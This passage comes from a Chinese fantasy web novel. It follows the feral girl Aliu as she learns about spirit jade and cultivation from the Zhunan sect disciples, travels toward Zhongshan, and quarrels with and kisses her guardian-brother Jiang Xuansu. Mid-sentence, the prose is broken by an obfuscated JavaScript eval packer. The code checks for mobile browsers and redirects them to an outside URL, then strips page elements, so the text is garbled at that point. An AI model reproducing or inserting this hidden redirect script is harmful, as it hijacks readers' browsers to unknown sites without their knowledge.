四目相对时,他察觉她想跑,不但没有厉声呵斥,反而对她露出安抚的微笑。 于是,好看的眉眼如花瓣绽放。 三日前的夜晚,阿柳没能看到白玉峰上的玉兰开花。 三日后的夜晚,阿柳目睹了另一次花开。 阿柳愣住了。 山上和人间,处处都有花开花落,她行色匆匆,从未为它们停留,也不懂欣赏它们的美。 但这一次眼前的花开,是为她。 他的声音也那样温和。 “既然是送你的礼物,如何处置是你的事。白玉峰上的玉兰还会再开,等回去后,你若想吃,哥哥再摘给你。只是那泉水经过灵息洗涤,寒气太重,你若胡乱喝下,容易生病,所以我们才不愿让你喝,并非怪罪你口渴喝水。” 他不怪她。 即便她犯了“他们眼中的错”,他还是站在她这边。 阿柳蓄力的腿灌铅一般沉在原地。 突然,不受控制地抽了抽鼻子。 为什么? 面对这样包容的眼神,那股在她体内流窜的热气没有消失,反而愈演愈烈。 它们在她四肢百骸中冲撞,最后汇聚着一路上升来到头顶,化成一片乌云。 轰隆隆的心跳像雷声,一场雨蓄积着,有了落下的冲动。 喜欢是喜欢,讨厌是讨厌,委屈是一种夹杂其中摇摆不定的情绪,阿柳从未有过体验它的机会,直到此刻。 喉咙紧梆梆的,像卡了一根鸡腿骨在里面,鼻子不听话地泛起酸胀之意,她抬手按了按它,说话时声音闷闷的。 “因为水里有石头的香气,我才吃的。” “不然它们就散了。” “不让我吃,为什么不早说。” 还是那样生硬的语气,只是这一次没有凶狠地盯着谁看,阿柳垂眼看着地上。 在盒中的寒气冒出来时,她不受控制地被它吸引。 曾经她在山上饿得头晕眼花,循着幻觉般的香味啃食泥土石子,嗅到的正是这个香气。 遇到江玄肃后,萦绕在他周身,令她恨不能将其啃噬殆尽的,也是这个香气。 邵忆文提到的“灵息”,阿柳在杂耍班子的剧目里听过无数次。 千年前,烛龙衔烛而来,散发的灵息滋养了绵延千里的钟山一脉。 她太想确认那个味道了。 灵息的味道。 江玄肃望着阿柳,下意识想要摸摸她的脑袋。 即便她的表情很古怪,像第一天驯服自己的五官,眼鼻嘴别扭地绷着,凑不出一个具体的含义,江玄肃仍能察觉她的情绪。 阿柳在难过。 他送她花,可不是为了看她难过。 手刚悬到半空,却听到师傅冷静的声音。 梁继寒问:“什么石头?” 阿柳本就难受,对上梁继寒陡然锐利的双眼,隐隐嗅到一股不善的气息,终于驯服五官,恶狠狠瞪着他骂了句方言,转头就跑。 邵忆文反应极快,立刻挡在她身前。 同为女子,没那么多身体接触上的顾忌,她拦抱住想要逃开的阿柳,顺手拍了拍她的背。 “阿柳别怕,师傅只是想知道,为何你从泉水里闻出石头的味道。你方才说的香气要散了,又是指什么?你把想法出来,我们才能更了解你,才不会产生那么多误解,你说是不是?” 邵知武在旁边牙酸地抽了抽嘴角。 上一次听到他姐用这种哄孩子的声音说话,还是她为了多借阅几本书,主动请缨照看藏书阁那位司典的三岁女儿。 然而,看着阿柳的脸色由阴转晴,他也不由得松了口气。 阿柳这回被邵忆文抓住,终于不是为了洗澡或者上药,她梗着脖子接受邵忆文略带歉意的抚摸,虽然挣脱了她,却也不再逃跑。 她摸摸肚子,努力措辞:“就是我在山上吃过的石头。因为很香,我才会吃。” 即便是狼,也不会没事乱吃石子,只是那香气太过诱人,每一次阿柳被它骗得张口吞下沙石,忍受浑身疼痛与发热的折磨,却又在下一次闻到同样的气味时,忍不住再次将其吞噬。 就仿佛……这是刻在她骨子里的本能。 周围一静,众人试图揣摩阿柳话里的意思。 忽然,江玄肃反应过来,把小臂上的护腕凑到阿柳身边。 “你说的石头,是不是长得像这样?” 阿柳垂眼看去。 皮革护腕上嵌着一枚光滑的玉石,色泽虽黯淡些,却还是能看出其品质不凡。 她把头凑上去,抽动鼻子嗅了嗅,在属于江玄肃的气味中努力分辨,终于找出一缕极为浅淡的香气。 想到护腕和衣袖之下的胳膊,磨牙的心思再次复苏,阿柳费了些精力压抑这股冲动,直起身点头。 一时间,在场众人皆面有异色。 邵忆文蹙眉:“阿柳,你可知道这是什么石头?” 阿柳不耐烦:“石头还有名字?” 梁继寒始终在几步开外旁观,此刻终于走到阿柳面前,颇为严肃地打量她:“这是灵玉。” 阿柳一个箭步窜到江玄肃身后,拿他当挡板,戒备地瞪向眼前的白袍男子。 梁继寒却不以为意:“阿柳,你开过丹田吗?” 阿柳不解:“什么?” 江玄肃回头看她,把手放在小腹往上几寸的位置,对她比划示意。 “就是此处。丹田可以将灵玉转化成灵息,将其引入体内、化为己用。你身手敏捷,不似凡人,不该没开丹田。” 阿柳没听明白,学着江玄肃的动作揉揉自己的腹部,什么感觉都没有,秉承着探索精神,她又抬手想摸江玄肃的小腹。 视线落在他被腰带束紧的劲瘦腰身上,依稀记得那里的触感颇为坚硬,刚要伸手确认,江玄肃竟感应到她的心思,连忙侧身躲开:“不可!” 阿柳不忿:“又不咬你!” 摸都不行,更何况上嘴? 江玄肃大窘,站得更远,耳边响起邵家姐弟的闷笑声。 邵忆文拦过阿柳,对她解释:“阿柳,你可见过炭火?” 阿柳手上还有摸热铁留下的水泡,当然记得铁匠铺的炭炉,心有余悸地点点头。 邵忆文指指江玄肃护腕上镶嵌的灵玉。 “人的丹田就像一块永不燃尽的炭,灵玉如冰,放在热炭上烤过,便会化为水汽,这水汽就是灵息。在钟山的山脉之中,有着数不胜数的灵玉矿。千年来,修士们开采灵玉、以丹田炼化灵息修道。 灵息可以锻炼修道者的经脉,还能化为威力巨大的气波,用灵息研究武学招数的,便是修道者之中的武修。 灵玉矿开采后需要锻造精炼、打磨雕琢,制成便于携带的武器、配饰,研究这门手艺的人便是器修。 钟山上灵息充沛,养育了种种珍奇药草虫兽,那些搜寻、调配灵药的人便是药修。 而以上种种,都需要动用丹田。如果不开丹田,浑身经脉没有打通,则无法动用灵息。未经精炼的灵玉无法直接化为灵息,要说吃进腹中,更是无稽之谈。你所说的吃石头,应当是无意间用手触碰灵玉,体内丹田自发运转了才对。” 邵忆文比喻浅显,阿柳这回听懂得更多,却还是疑惑:“我真的吃进去了。” 即便是疼痛,也是全身上下、由内而外都在痛,她平时在山间跑跳,全身活动得很均匀,除了吃到毒蘑菇毒野果,从未出现小腹疼痛的情况。 见几人不信,她直接去抠江玄肃护腕上的玉石:“我吃给你们看。” 江玄肃和邵家姐弟连忙拦她。 邵知武哭笑不得:“吃了也没用,这里不是钟山!传说钟山盘踞着烛龙,灵玉灵息皆是仰仗它的力量。修士们早就研究过了,的确是这个规矩,只要出了钟山,灵玉和灵息都会失去效力,不能被丹田转化吸收。要不然,修士们有这么强的力量,早就遍布天下、四方割据混战了。” 阿柳听得似懂非懂,不知道他说的“割具”是割身上哪处,却很想见见这群修士用无形气波割断骨肉的样子。 于是又问:“为什么我在钟山里从未见过你们这群人,也没见过这么好的玉?” 这一次回答她的是梁继寒。 “钟山绵延千里,其中有无数山峰峡谷,修士们都住在灵玉富集的地方。我问过项大娘,她捡到你,是在钟山东部最外沿的村落里,烛南宗在钟山最南端,你没见过我们也是自然。” 梁继寒语气温和,眉目淡然,阿柳却总觉得他望向自己时,正思索着一些旁人不知道的问题。 “此地偏远,想检测丹田是否开启,最近的鉴灵司也要跑马一天一夜。既然你胎记不假,不妨先随我们回去,等进入钟山域内,我可以动用灵息亲自为你检测。天色已晚,明日清晨我们便要动身,大家快些休息吧。” 提到回钟山,几个年轻人的神情皆是一肃。 阿柳注意到他们的眼神,觉得很熟悉。 自己卖艺时好不容易休息一日,又被项姥姥告知明天要上场时,也会有这样的心情。 如此看来,回钟山虽能吃饱饭,但也逃不脱磋磨折腾。 阿柳默不作声地左右转转眼珠,低头看自己如今被填饱的肚子,很快想开了。 跟着这群人,饭食比以前要好太多,仅这一点,便足够了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316093|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她心满意足下了决定,转身要走,却被梁继寒再次叫住。 天黑以后,院落的远处有侍从点起灯笼,光芒远远传来,落进院子里时,已经变得昏暗。 梁继寒微笑时脸上有细微的皱纹,日光下一副翩翩君子的儒雅模样,此刻,那些细纹却在灯笼光芒中为面容增添了变幻莫测的影子。 “阿柳,回钟山后,再来凡界就难了。你在凡界可还有未了的心愿?” 三个年轻人本来要走,听师傅这么说,也站住脚步看过来。 邵家姐弟幼时流浪凡界,十四岁才上钟山,曾见识过不少三教九流中的渣滓。 卖艺的打骂跟班,乞讨的折断孩童手脚博取同情,卖/淫更是连男童女童都不放过。 种种下作手段,是久居钟山上的江玄肃无法想象的,两人也心照不宣地从不对小师兄提起。 此刻,他们望着阿柳,都不说话了,心里却有些紧张。 当年随师傅上钟山前,梁继寒也问过姐弟二人这个问题。 在邵知武和姐姐做工的地方,有一位对他们极尽羞辱打骂的领班,他刚想说出那人的名字,却被姐姐一把拉住衣角。 十四岁的邵忆文,已经懂得大人们爱听什么,不爱听什么。 聪明而心怀感恩的少年人,是纯善仁厚、有大智慧,聪明而算计仇家的少年人,是工于心计、品行不端。 最后,邵忆文只说他们曾受当地一妇人恩惠,希望走之前把这些年攒的银钱赠予她,以表感谢。 为此,刚进宗门的那两年,邵知武常常惦记上山前没能报得大仇,还散尽钱财,在宗门里只能节衣缩食生活。 直到邵忆文冷不丁点醒他——如果没这么做,展现良好的品行,也许师傅最初都不会收他们为徒。要知道宗门里的修士也分三六九等,地位不同,过的日子也各不相同,跟对师傅很重要。 为了上钟山,姐弟二人学会的第一件事就是用谎话藏住心思。 如今轮到阿柳回答这个问题了。 只需看她的形貌与提防生人的态度,就知道过去几年项姥姥对她并不好。 而她看起来不善于编谎话,也不像会任人欺辱的性子。 诚然,作为司剑,她一入门就将有着无可比拟的地位。 但如果阿柳回答“我想啖尽仇人的血肉”,师傅记在心中,回到宗门后报告众长老,为了铲除她的恶念,督促她静心练功,她少不得受一番磋磨。 而阿柳迎着几人心思各异的目光,认真思索片刻,竟打了个呵欠。 “我想睡觉。” 众人一怔,江玄肃见她如此,不由失笑。 梁继寒却仍没放她走,又问:“你不想和杂耍班子里的人告别吗?” 依旧是波澜不惊的语气。 邵忆文听完,却忍不住看一眼师傅。 阿柳不提,为何师傅还要追问?看来师傅也在钟山待久了,对这种为了赚钱而聚集的卖艺团体有着错误的认知。 那杂耍班子里一群身体残缺有异的怪人,谁都看不起谁,也就是搭伙赚钱吃饭的关系,和阿柳哪来的深厚情谊? 阿柳果然摇头,和她抢饭吃的家伙,平时没少骂她狗东西,想念他们作甚。 忽然,她却想到什么,目光扫过众人,新奇地“嘿”了一声。 她手指一一指向江玄肃、梁继寒、邵忆文、邵知武,最后指指自己。 “你是瞎子,你是驼子,你是女矮子,你是男矮子,我是阿柳。换了个班子,人却差不多。” 众人不解,江玄肃却忽然想起初见时阿柳骂自己是瞎子。 邵家姐弟还在揣摩阿柳的话,就听得小师兄破天荒笑出了声,顿时如白日见鬼,悚然看他。 江玄肃笑了几声,仍不能停,以手背遮住半脸,转过头憋得肩膀颤抖。 阿柳没见过江玄肃这样笑,顿生好奇,绕到他身侧,偏头去找他的眼睛。 四目相对,阿柳也有样学样跟着他笑起来。 野生动物极少做大表情,阿柳学了十年动物,只在人间待过六年,未曾有过发自内心大笑的时刻。 一时间,即便努力模仿,也只学了个五分像,眉眼嘴角别扭地弯着,反而显得表情不伦不类。 江玄肃见她这副怪样,还以为她故意做鬼脸逗自己,连忙转身不看她,生怕笑得更厉害。 只剩阿柳摸不着头脑,心生不忿,把脸一沉。 她喜欢看他笑,他竟不爱看她笑,白费她一番好心! 邵忆文后知后觉,佯怒地瞪阿柳:“怎么能这样说!我和小武可比你高,才不是矮子,师傅玉树临风,更不是驼子!” 邵知武一听,总算明白,也闷笑起来,顾忌师傅在旁边,不敢笑得太大声。 梁继寒微笑地看着他们笑闹,等众人笑声小了,又问阿柳:“你说的这群人里,怎么没有项姥姥?” 一个生性嗜血的狼女,难道不会对鞭笞棒打自己的人心生恨意吗? 他实在好奇这个问题。 阿柳本来要跑开,听到这个名字,站住脚步。 她回过头来,与梁继寒对视,有些不耐,像在鄙夷他听不懂话:“一二三四五,我加你们,刚好五个,没算她的份。她在以前的班子里,现在的班子里没有她。她被留在以前了。” 邵忆文本来在憋笑,听完阿柳的话,忽然一怔。 夜色下,少女神情坦然,目光清澈。 她竟然不恨。 长在深山的小狼女,有着野兽的天真残忍,却也有着野兽的大智慧。 攻击,是为了捕食或者求生,除此之外,一切多余的厮打只会损伤自己的爪牙。 从前在项姥姥的杂耍班子,就像在一个旧的山头,她学把式、争当老大、想对项姥姥取而代之,是为了当上头狼,掌握分饭的权力,更好地吃饱饭。有招惹她的人,她就当场报复回去,仇不隔夜,过夜便丢在脑后。 现在她要去新的山头了。 行至新的山头,便如同融入新的狼群,要吃饱每一顿饭,努力长肉锻炼,好好生活,等长大些,争一争这里的头狼之位,而无暇再想上一个山头的仇家。 否则,一生中这么多打骂过她的人,一个一个记下来,深夜里光是想想他们的脸,都要失眠。 睡觉可是和吃饭同等重要的大事。 阿柳不知道自己无意的一段话引发旁人多少思考,在他们的目光中伸个懒腰,径自走开,找睡觉的地方去了。 只剩几人落在后面看她背影。 邵忆文见她往饭厅走,连忙“哎”一声追上去:“不要睡桌子下面!隔壁有床。” 却发现阿柳翻过饭厅的圆桌,在角落里摸摸索索,翻出两块点心——竟是她晚饭时藏的余粮,专门等饿了以后吃。 邵忆文嫌脏要拿走,阿柳以为她要和自己抢,把点心往嘴里一叼,跑着躲开, 两人一追一逃,江玄肃和邵知武无奈又好笑,也跟过去帮忙。 梁继寒目视这群年轻人你追我赶地走远,才收回视线,心事重重看向天空。 一轮弯月被云层遮挡,只剩朦胧的光。 经历了多么刻骨的爱,才会诞生多么彻骨的恨。 那狼丫头之前未曾被人爱过,自然对世间情感不报期许。 没有期许,就不会失望,没有失望,就无法转化成恨意。 上钟山前,尚且不知道什么是恨。 那上钟山后呢? 梁继寒摇摇头,离开月凉如水的庭院。 - 月色下,平安县中灯火一片。 在灯火照不到的小巷角落,一个人迹罕至的死角里,黄金散落一地。 项姥姥坐在墙角,睁大眼睛看向天空。 她心口有一道匕首捅出来的伤口,血已经流干了。 11. 11 清晨出发,一路骑马途经大道小路,转过两个山头,黄昏时,四周已是平坦的农田。 阿柳爬上旅店前的大树,踩着树干眺望道路延伸的方向。 视野尽头,巍峨高山的影子绵延展开,隐在昏黄的天光中,颜色像阿柳洗褪色的灰衣裳。 那里便是钟山一脉的最南端。 六年前她离开钟山,学着当一个凡人,学得并不好。 六年后她即将回到钟山,学着当一名修士,要学的东西更难了。 阿柳对着远山发呆,忽然听见树下响起熟悉的脚步声。 她没回头,心里哼了一声。 出发时不许她同乘一匹马,还执意让她戴帏帽,溪边饮马时不许她撒欢乱跑,让她记烛南宗的门规。 一条条一句句,她连字都不认识几个,哪里懂这些。 这也不许那也不许,卖艺时都没这么多禁忌,他倒好,管得比项姥姥还多。 阿柳愤愤不平给江玄肃定罪,忽然发现脚步声消失了。 刚要凝神细听,一阵风升腾而上,树干轻颤几下,江玄肃已经飞身上树,稳稳立在她所站的枝干上。 随着靠近钟山,空气里逐渐有了稀薄的灵息,修士们的经脉受其滋养,行动间越发敏捷。 连阿柳都觉得自己步法变快了。 江玄肃戴着帏帽,看不清脸,声音比之前要沉:“怎么把它摘了?” 他手里拿着阿柳的帏帽。 阿柳装没听见。 这帽子的素纱讨厌至极,挡着她的视野,影响她跑跳,她早就不想戴了。 江玄肃见她不答,也不恼,抬手替她戴上帏帽。 阿柳转头就躲,肩头忽然一沉,江玄肃手按住她的肩,不让她逃开。 阿柳挣了一下,没挣脱,立刻低头张口要咬。 “三日里只能咬一次,你想好了?” 此言一出,阿柳动作顿住。 还没想清楚这一口是否划算,素纱已从头顶落下。 江玄肃一边细致地替阿柳整理垂落的素纱,一边重申戴帏帽的理由,不厌其烦,也不容置疑。 “你我身上的胎记特殊,若招摇过市,必然会引起注意。凡界人多眼杂,又不能动用丹田,一旦出事,我们怕护不了你周全。” 眼前一片朦胧,隔着两层纱,阿柳更加看不清江玄肃的脸,只看到他的手拨得素纱摇晃,平添几分烦躁。 她骂了句刚学会的脏话,甩开江玄肃跳到树下。 头顶,江玄肃温和而执着地提醒:“不要说脏话。” 阿柳大声骂了句更难听的,头也不回朝旅店里走。 一路上楼回到房间,把碍事的帽子扯下丢开,再从柜子里找出晚饭后藏的糖块。 阿柳靠着床架,牙齿用力,嚼得糖块嘎嘣作响。 仿佛在嚼江玄肃的骨头。 他简直烦透了! 启程不过一日,离钟山越近,江玄肃就越让她感到陌生。 他不再提烛南宗的餐食菜色,白玉峰上的花,而是反复强调宗门里的十二道禁令三十六条门规、身为修士的言行准则、双生剑司剑的重要职责。 说来说去,无非是不能像现在这样随心所欲,要知礼法懂规矩。 每当江玄肃说起这些,阿柳总觉得他身后立着一座黑压压的大山,随时要朝她倾倒碾压。 她讨厌这样的江玄肃。 一块糖下肚,门外有脚步声响,阿柳抱着胳膊瞪视门板。 她清楚得很,江玄肃不会随意推门,哪怕房间失火,他进门前都要先敲两下。 果然听到“笃笃”两声。 不给你开门,你能如何? 阿柳岿然不动。 “要不要吃后厨现炸的点心?” …… 门吱呀一声打开了。 阿柳只探出一个脑袋,板着脸看向江玄肃手中,眼睛却陡然睁大。 竟是一盘卷心酥。 微黄的外皮,裹着豆沙内馅,和记忆里的样子相似,却比那个更精致。 她伸手去抓,碟子倏地移走。 熟悉的气味笼罩上来,江玄肃趁她不防,移步换位进了房间。 关好门,随后才摘下帏帽,奔波一天,他的头发仍束得一丝不苟,衣裳也打理得很平整,唯有眉宇间藏不住忧色,正无奈地注视她。 “不随意摘下帏帽,不再说脏话,都是你今早亲口答应的,人不能言而无信。” 因为那时你手里拿着早饭,如果不快些答应,刚出炉的馅饼就凉了。 阿柳挠挠脸颊,没把这句说出口。 江玄肃见她十分抵触,只好先拈起一块点心递给她。 “你晚饭没吃够,拿这个填一填肚子。” 阿柳从小到大赶路全靠双腿,今日才第一次骑马。 在马厩偷金环时,她曾学狼嚎恐吓过它们,马儿记仇,载着她和邵忆文故意颠簸,邵忆文还好,阿柳却被颠了个七荤八素。 晚饭时她终于没把饭碗堆冒尖,只将菜平铺到碗口,最终倒也吃干净了。 旁人不觉得她吃少了,只有江玄肃记着她的饭量,怕她没吃饱。 想到这里,阿柳心中那股翻涌的、不明不白的怨怼竟慢慢淡了。 哼,姑且放过他这一回。 阿柳张口去叼江玄肃手里的点心。 嘴唇快要碰到他指尖时,他猛地缩手。 阿柳一怔:“耍我?” 江玄肃哭笑不得:“用手拿。” 阿柳摊手,点心放进手掌,下一秒便进了她嘴里。 江玄肃捻了捻指尖:“你我虽为兄妹,也要遵循礼数。肌肤之亲,容易越界,因此我不与你同乘一匹马,也不会亲手给你喂食,像昨日在厢房里发生的事,更不能再有。你回到钟山后,应当谨记这一点,不可再犯。” 阿柳微蹙眉毛,认真咀嚼食物,品味馅料的甜味,对他的话左耳进右耳出。 江玄见她如此,轻叹一声:“食不言寝不语,诸多规矩里,只有这一条你做得最好。” 阿柳抽空瞥他一眼,总觉得这话不像在夸她。 还要吃第二块时,江玄肃把碟子举到高处,阿柳攀着他肩膀就要跳起来抢。 江玄肃闪身后退,用的竟是烛南宗不外传的轻功步法。 阿柳虽身形迅捷,却没学过有招有式的武功,绕着屋子里追了江玄肃两圈,连他衣角都碰不到,最后定在原地不动了,直直瞪着他。 还是那句话:“耍我?” 江玄肃摇头:“明日便要进入钟山,后天就能回到宗门,你若还是现在的样子,会招来祸患。母亲尚未出关,我作为兄长,有管教你的义务。但我不会像项大娘那样打骂你,也不会罚你饿肚子。从今日起,每天你都有一盘额外的点心可以吃,你犯一次错,点心就要扣掉一块,点心扣光了,便扣第二天的分量。唯有谨言慎行,遵守我们的约定,才能吃到点心。” 他边说,边把两块点心分到碟子另一边:“没有戴帏帽,扣一块。说脏话,再扣一块。” 阿柳心疼地望着碟子做算术:“你把它拿走了,我吃不饱怎么办?” 江玄肃没有揭穿她话里的漏洞:“后厨有馒头。” 馒头哪有点心好吃! 阿柳根本算不明白,越算越急,只知道到嘴的吃食飞了,脾气上来:“我不依你。你才不是我哥哥,不许管我。” 话音刚落,屋子里一静。 这是阿柳第二次说这句话。 江玄肃愣怔在原地,像被她的话扇了一巴掌,缓慢地眨着眼,动弹不得。 屋子里的油灯还明晃晃地亮着,慢慢地,他的脸色却逐渐阴沉下去。 捕兽网、陷阱笼、任何困住动物的危险机关……那一瞬,阿柳望着江玄肃的眼睛,只能想到它们。 野兽的本能让她闪身到窗边准备逃跑,点心的香气却勾着她留下,刚打开窗户,却见江玄肃恍然回神,眉宇间的阴翳散去,变为浓郁的失落。 仿佛刚才的危机感,只是她的错觉。 可加速的心跳却仍未平息。 他揉了揉眉心,转身要走,声音有些哑:“你不要我,就别吃我的点心。” 窗户“嘎吱”关上。 江玄肃转头。 阿柳果然不逃了,一副被捏住七寸的表情站在原地。 “我要。” 那可是香喷喷的点心! 从前只要一过饭点,她再饿都找不到东西吃,因此才养成藏吃食的习惯,如今她却能品着甜香入梦。 可恨她暂时打不过他,没法强抢他的点心,只好先按他的规矩来。 阿柳的话落在江玄肃耳中,却是另一个意思。 他终于露出笑容。 两人在桌边坐下。 阿柳立刻开动,别的不管,先把点心吃到嘴再说。 江玄肃给她倒茶,又顶着她眼巴巴的目光,把扣掉的两块点心用手帕包住收在怀里。 一时间屋子里无人说话,江玄肃静静端详阿柳的脸,忽然问:“我方才可有吓到你?” 阿柳用茶水顺下最后一块点心,一抹嘴:“没有。” 哪有对旁人暴露弱点的,哪怕刚才真的被他那一眼瞪得汗毛倒竖,她也要梗着脖子否认。 阿柳信誓旦旦说完,偷瞄江玄肃表情,却发现他竟然面有愧色。 有时候,无师自通谈判的兵法只需要两块点心。 阿柳左右转转眼珠,突然说:“其实有一点。” 果然,江玄肃轻叹:“是我的错,哥哥给你道歉……你以后不要再说这种话了。” 阿柳不耐烦地皱眉。 又来了。 他实在太喜欢强调“哥哥”这个身份了,左一句右一句,听得她耳朵起茧。 想到那两块点心,阿柳决定不反驳:“哥哥要对妹妹好。” 江玄肃颔首:“没错。但是不能给你剩的两块点心。” 四目相对。 阿柳被戳穿,面无表情地移开视线,托腮去看燃烧的油灯,试图将它吹熄,来掩饰自己的尴尬。 江玄肃见她这样,终于笑出声。 阿柳其实很喜欢听他笑。 每次听到他的笑声,都像有一块柔软的皮毛在摩挲她的耳朵。 如果他不是在嘲笑她,也许她会更开心。 但阿柳决定宽宏大量原谅他。 ……主要是为了争取新的机会。 她坦白:“我想再吃一块。” 江玄肃噙着笑摇头。 她想了 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江玄肃想了想:“我那枚镶金玉环,你之前不是想要吗?我把它赔给你,但它脆弱易碎,你要好好保管。” 阿柳没趣地转开脸:“它又不能吃。要不是金环被偷,我才不偷它。” 想起二人的初见,江玄肃又笑了:“你有这般身手,怎么会让旁人偷走你的金环?” 阿柳回想当时的情况,终于坐直:“前天我们在旅店里,有人骂我不香……不祥,还对我碗里吐口水。我和他们打架,小偷推我,趁机把我金环偷走了。” 现在想来,那盗贼本事不小,下手时居然连她都无知无觉。 江玄肃越听越觉得熟悉,忽然皱眉:“哪家旅店?打你的是谁?” 阿柳想了想,对江玄肃形容旅店的样子,又说:“五个人,有个秃子,还有个疤子,小偷的脸我记不得了,那人很厉害。” 江玄肃神情一紧,竟不说话了。 来路上,他们也去过阿柳说的这家旅店。 他还记得当时有一伙劫匪出言挑衅,说他的胎记是不祥之兆,还妄图打劫,最后被师傅打跑。 其中就有一个秃头,一个脸上带疤,还有个身材瘦小、长相平庸的人,江玄肃如今回忆,竟想不起那人的脸,甚至连对方是男是女都不知道。 没想到阿柳也去过那里,还遇上了同一伙人。 如果说这是巧合,未免有些太巧了。 江玄肃端坐着若有所思,阿柳望着他,视线落在他领口。 包点心的帕子就在他怀里,如果她学着那小偷的手法,神不知鬼不觉地摸过去,将它偷走…… 她身随意动,蹑手蹑脚走到江玄肃面前。 江玄肃分出心神,抬头看她:“嗯?” 阿柳继续精进说谎的技术:“我咬你一口,别的不要你赔。” 江玄肃失笑,刚想说此举有失礼数,却见阿柳执着地盯着他。 ……也罢,毕竟是他先许下承诺,允许她咬。 啃咬的习惯难以纠正,总不能立刻让她戒掉。 他站起身,开始解护腕:“还想咬左手吗?” 阿柳醉翁之意不在酒,胡乱点头。 江玄肃挽起袖子,把手伸给她。 阿柳捧起他的胳膊,眼睛落在他怀中衣领交接的地方,刚要趁机动手,余光里突然闪过大片奇怪的颜色。 她垂眼看去。 然后,不动了。 饶是修道者体质特殊,也无法让那么多伤口一夜之间恢复如初。 一夜过去,伤口转化,原本如白玉般好看的手臂上,浮现出青黄的淤伤和暗红的血痂。 那是她的杰作。 奇怪,当时竟没听到他喊疼。 江玄肃仍在想那群诡异的劫匪,忽然察觉手臂被松开了。 他退开,随口问:“不咬了?” 阿柳没看他,一本正经地掰起手指做算术题。 假如偷到两块点心,她手里就有两块。 违反规矩,要扣一块。 ……哼,什么破规矩,狼群里最高规格的礼仪,她还不乐意对旁人使用呢,江玄肃居然嫌弃她。 算了,扣一块就扣吧,反正还剩一块。 江玄肃正想问阿柳在算什么,却见她煞有介事的叹口气,仿佛做出了很大的牺牲。 然后,朝他闪身而来。 阿柳脚下几番变换,人已经闪到他跟前。 江玄肃猛地睁大双眼。 她用的,是方才他躲她的内门步法。 烛南宗密不外传的轻功,被她看了几遍后,竟能学个七成像。 ……他妹妹竟有如此天赋。 江玄肃看在眼里,为之心惊,一时忘了躲。 随后,感觉胸前轻轻拂过一只手。 鬼鬼祟祟地拨开衣领,朝里面探去,摸索藏起来的点心。 “你……” 江玄肃大窘,低头去捉阿柳的手腕,刚要说她犯了忌,还没来得及开口,唇边忽然滑过一阵温软的湿意。 阿柳,舔了他的嘴唇。 12. 12 下山后,阿柳没再舔过谁的嘴。 杂耍班子里的人,看杂耍的人,都怕被她咬,阿柳看得懂他们的神情,不去自讨没趣。 时隔多年,再一次用唇舌与亲近的同伴交换气味,她忽然察觉出一些微妙的不同。 与狼相比,人的嘴唇要软太多,舌尖舔上去后,脆弱的皮肤由干燥变得湿润。 面孔贴近时,鼻尖蹭到对方的鼻尖,带着一点凉意,鼻息却是温热的。 呼吸交融,一股奇异的暖意笼罩阿柳的脑袋,让她变得晕乎乎的,连动作的意图也变了味。 那是一种她不曾有过的欲/望。 并非来自头脑,也不来自肠胃,而是来自身体里一处陌生的位置。 受到它的驱使,阿柳摸进江玄肃衣领的手停住了,不再抵抗他握着自己的手腕,连点心也忘记偷。 舔上他的一瞬,她有了更想吃的东西。 江玄肃的舌头。 狼在交换气味时,不会把舌头轻柔地伸进对方嘴里,狼牙锋利,一旦控制不住,只会误伤同伴。 但此刻,江玄肃唇缝紧闭,阿柳却突然很想把舌尖探进去。 含一含他的舌头,用自己的嘴唇密切贴住他的嘴唇,更仔细地感受他的味道。 她闭上眼,撑着江玄肃的胸膛往前倾,舌尖刚探进去一点,碰到他的牙齿,肩头忽然传来一阵巨大的推力。 她没想到江玄肃会这么用力推她。 阿柳脑袋发懵,跌在地上,身体本能地滚了个圈才稳住重心,抬头看去,江玄肃仍站着不动,他在拿袖子用力地擦嘴。 她茫然地睁大眼睛,眉头抽动。 他嫌弃她? 从未见过他露出那副表情,用那样的声音和她说话。 剑一样的眉毛,在紧皱时更显锋利,他眼中惊怒交加,像蓄积的雷暴。 “你疯了?” 也不知道是在骂越界的阿柳,还是骂放任她趁虚而入的自己。 阿柳却听不出这句话的第二层意思。 经常有人用这个字骂她,她早就习惯了,只有这次,她感觉自己像挨了一鞭子。 她想过做错事要受罚,但没想过江玄肃的反应会这么大。 就连当初她咬他时,他都不生气。 她刚才动作那么轻,根本不会弄疼他! 江玄肃生气,她顿时变得比他还要生气,两个人剑拔弩张地互相瞪视,阿柳怒喝:“滚出去!” 江玄肃没动,在原地张了嘴又闭上,闭上嘴又张开,终于平复呼吸:“……这不是兄妹间能做的事。” 阿柳呸他一口:“屁兄妹!” 江玄肃顾不上再纠正她说法,急着指认她的错处:“就算不是兄妹,寻常男女之间也不能这样……和谁都不能这样!” 那你就可以推我吗?就可以吼我吗? 阿柳攥着拳头,想说的话说不出口。 如果有人做了她不喜欢的事,她当然会把对方推开,再用难听的字词辱骂。 江玄肃只是做了她会做的事。 可偏偏她讨厌他这样对她。 这一次,阿柳的确想咬他了。 最好把他另外一只胳膊也咬得血迹斑斑,把他推搡她的手啃出白骨,连带他骂她的嘴,也嚼个稀巴烂,那条不许她吃的舌头,她要拔下来吞进肚子里。 她朝江玄肃冲过去。 心绪不稳,呼吸也因此急促,怒气涌上头顶,让脸颊发烫。 阿柳眼里只剩下江玄肃的身影,她紧追不舍。 然而,哪怕学着他的步法,却还是不如他娴熟,总是慢他一步。 她追不上。 她还不够强,她要变得更强。 这些钟山上的修士比凡人厉害,她总在他们手里吃亏。 她喜欢吃饭,讨厌吃亏。 “阿柳,停下。” 不大的厢房里,动静却越闹越大。 阿柳把椅子踢倒,撞翻屏风,仍不罢休。 “阿柳!” 他厉声喊她,她还是不听。 一圈圈,一遍遍,从这个角落绕到那个角落,阿柳不知疲倦,心里只剩一个想法。 追上他,咬死他。 然后想舔哪里就舔哪里,想怎么吃就怎么吃。 直到一片厚重的影子朝她笼上来。 棉被像一张密不透风的网,猛然将她裹住。 